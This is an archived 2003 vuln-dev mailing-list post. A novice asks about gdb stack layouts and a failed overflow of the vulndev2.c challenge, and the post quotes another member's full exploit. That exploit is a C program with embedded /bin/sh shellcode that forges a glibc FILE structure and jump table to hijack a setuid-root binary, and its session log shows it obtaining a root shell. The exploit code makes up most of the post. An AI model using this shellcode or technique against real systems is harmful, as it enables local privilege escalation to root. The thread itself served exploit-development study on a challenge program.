Playing with these challenges (and thanx so much for
posting these) i came across some things which aren't
so clear and i'm hoping someone can explain them to
me.
I wrote a simple program i was hoping will demonstrate
the standard stack based overflow for me. It looks
like this:
void main() {
char buffer[12];
char longbuffer[30];
int i;
memset(longbuffer, 'A', 30);
longbuffer[29] = 0;
strcpy(buffer, longbuffer);
}
After compilation, inside gdb, disassemble main i get
this:
0x8048440 <main>: push %ebp
0x8048441 <main+1>: mov %esp,%ebp
0x8048443 <main+3>: sub $0x38,%esp
0x8048446 <main+6>: add $0xfffffffc,%esp
...etc etc.
Now up untill main+3 it makes sense. Why is this
enormous number being added to stack pointer is beyond
me. Shouldn't this completelly ruin the stack?
Doesn't the stack start at the highest adress and grow
down? WTF?
Moving on i write another sample program:
void function(int i, int b, int c) {
char buffer[12];
char buffer2[5];
return;
}
int main(void) {
function(1, 2, 3);
return 0;
}
disassemble function with gdb yields:
0x80483d0 <function>: push %ebp
0x80483d1 <function+1>: mov %esp,%ebp
0x80483d3 <function+3>: sub $0x28,%esp
...etc etc
WTF?! ok so it sets up a new stack frame and then
makes room for the local auto variables. Now i'm not
very good at math but last i checked 12 + 8 made 20.
Not 40. Again, WTF? Is gentoo using unicode or
something crazy like that? God i cry...
Moving on, i try to abuse the obvious strcpy in
vulndev2.c, so i run it with obvious
(gdb) run `perl -e 'print "A"x200'` two
And what happens? Segmentation fault 0x41414141 in
strcpy? Hell no! I get a completelly baffling:
Segmentation fault.
0x40085013 in _IO_getline_info () from /lib/libc.so.6
0x40085013? _IO_getline_info? Where did that come
from? Looking at begining of vulndev2.c..
main(int argc, char *argv[])
{
char *bfp;
char buf[BFSIZE];
FILE *f1;
I'd assume that buf was on the stack. Why doesn't
writing WAY past the end of this buffer cause a jump
to 41414141? I am SO confused HALP!
PS: i'm a n00b :\
--- "D." <dugelyat_private> wrote:
> Hello vuln-dev!
>
> Attached is an exploit for vulndev2.c, or you can
> download it here:
>
> http://www.hcsw.org/sploits/vulndev2sploit.c
>
> This was a fun challenge and I hope there are lots
> of
> interesting posts about it as well as many more
> interesting challenges in the future!
>
> Doug Hoyte
> Hypervivid Solutions, Inc
>
> __________________________________
> Do you Yahoo!?
> The New Yahoo! Search - Faster. Easier. Bingo.
> http://search.yahoo.com> /*
>
> vulndev2.c exploit - (C) 2003 Doug Hoyte and
> Hypervivid Solutions, Inc
>
> www.hypervivid.com
> www.hcsw.org
> fractal@efnet
>
>
>
> doug@saturn:~/devel/vulndev$ uname -mnrsp
> Linux saturn 2.4.19 i686 unknown
> doug@saturn:~/devel/vulndev$ gcc -Wall -g -o
> vulndev2sploit vulndev2sploit.c
> doug@saturn:~/devel/vulndev$ gcc -Wall -g -o
> vulndev2 vulndev2.c
> doug@saturn:~/devel/vulndev$ su
> Password:
> root@saturn:/home/doug/devel/vulndev# chown root
> vulndev2
> root@saturn:/home/doug/devel/vulndev# chgrp root
> vulndev2
> root@saturn:/home/doug/devel/vulndev# chmod a+rxs
> vulndev2
> root@saturn:/home/doug/devel/vulndev# exit
> doug@saturn:~/devel/vulndev$ ls -al vulndev2
> -rwsr-sr-x 1 root root 18373 May 24
> 04:16 vulndev2
> doug@saturn:~/devel/vulndev$ ./vulndev2sploit
> ./vulndev2 bffff86c
>
> [*] vulndev2.c sploit by Doug Hoyte:
> www.hypervivid.com
>
> [*] Using offset bffff86c
>
> [*] Removing old log file 'db.log'
>
> [*] Sploiting...
>
> ;;Ìøÿ¿;;
> sh-2.05a# whoami
> root
> sh-2.05a# exit
> doug@saturn:~/devel/vulndev$
>
>
>
> */
>
>
>
> #include <unistd.h>
> #include <ctype.h>
> #include <stdio.h>
>
>
>
> /* my strtok's, well... don't ask */
> int my_hatoi(char *tp) {
> int t=0;
> char tc;
>
> if (tp[0]=='0' && tp[1]=='x') tp+=2;
> while(isxdigit(tc = tolower(*tp))) {
> if (isdigit(tc)) t = (t<<4) + (tc - '0');
> else t = (t<<4) + (tc - 'a' + 10);
> tp++;
> }
>
> return t;
> }
>
>
>
> int main (int argc, char *argv[]) {
>
> // shellcode for Linux/x86 by Aleph Null
> char shellcode[] =
>
>
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>
>
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
> "\x80\xe8\xdc\xff\xff\xff/bin/sh";
>
> char sploit1[2000];
> char sploit2[100];
> int i, ADDR_OF_BUF, *tp;
>
> printf("\n[*] vulndev2.c sploit by Doug Hoyte:
> www.hypervivid.com\n\n");
>
> if (argc != 3) {
> printf(" Usage: %s <path to vulndev2>
> <offset>\n", argv[0]);
> printf(" Offset should be the location in
> memory of the 'buf' variable\n\n");
> return 0;
> }
>
> ADDR_OF_BUF = my_hatoi(argv[2]);
> printf("[*] Using offset %x\n\n", ADDR_OF_BUF);
>
> /* Remove the old log file */
> printf("[*] Removing old log file 'db.log'\n\n");
> unlink("db.log");
>
> // Everything to 'a's
> memset(sploit1, 'a', sizeof(sploit1));
>
> // Set BFP to point 2 bytes before F1 (so those
> damn semi-colons don't get in the way)
> *((int*)(sploit1+92)) = ADDR_OF_BUF-4-2;
>
>
> // The magic number for FILE structs on glibc is
> 0xfBAD! Dig?
> tp = (int*) (sploit1+96);
> tp[0] = 0xFBAD0101;
>
> // The FILE struct BS, we don't really care: we
> just want the ...
> for(i=1;i<40;i++) tp[i] = (int)
> (ADDR_OF_BUF+96+(40*4));
>
> // ... jump table
> for(i=40;i<48;i++) tp[i] = (int)
> (ADDR_OF_BUF+96+(40*4)+(8*4));
>
>
> // Tag the shell code on at the end
> memcpy(sploit1+96+(40*4)+(8*4), shellcode,
> sizeof(shellcode));
>
> // Use arg #2 to point F1 to our FILE struct
> memset(sploit2, '\0', sizeof(sploit2));
> *((int*)sploit2) = ADDR_OF_BUF+96;
>
> // There's a bad moon on the rise...
> printf("[*] Sploiting...\n\n");
> execl(argv[1], argv[1], sploit1, sploit2, NULL);
>
> return 0;
>
> }
>
__________________________________
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
http://search.yahoo.com
This archive was generated by hypermail 2b30 : Sat May 24 2003 - 17:13:58 PDT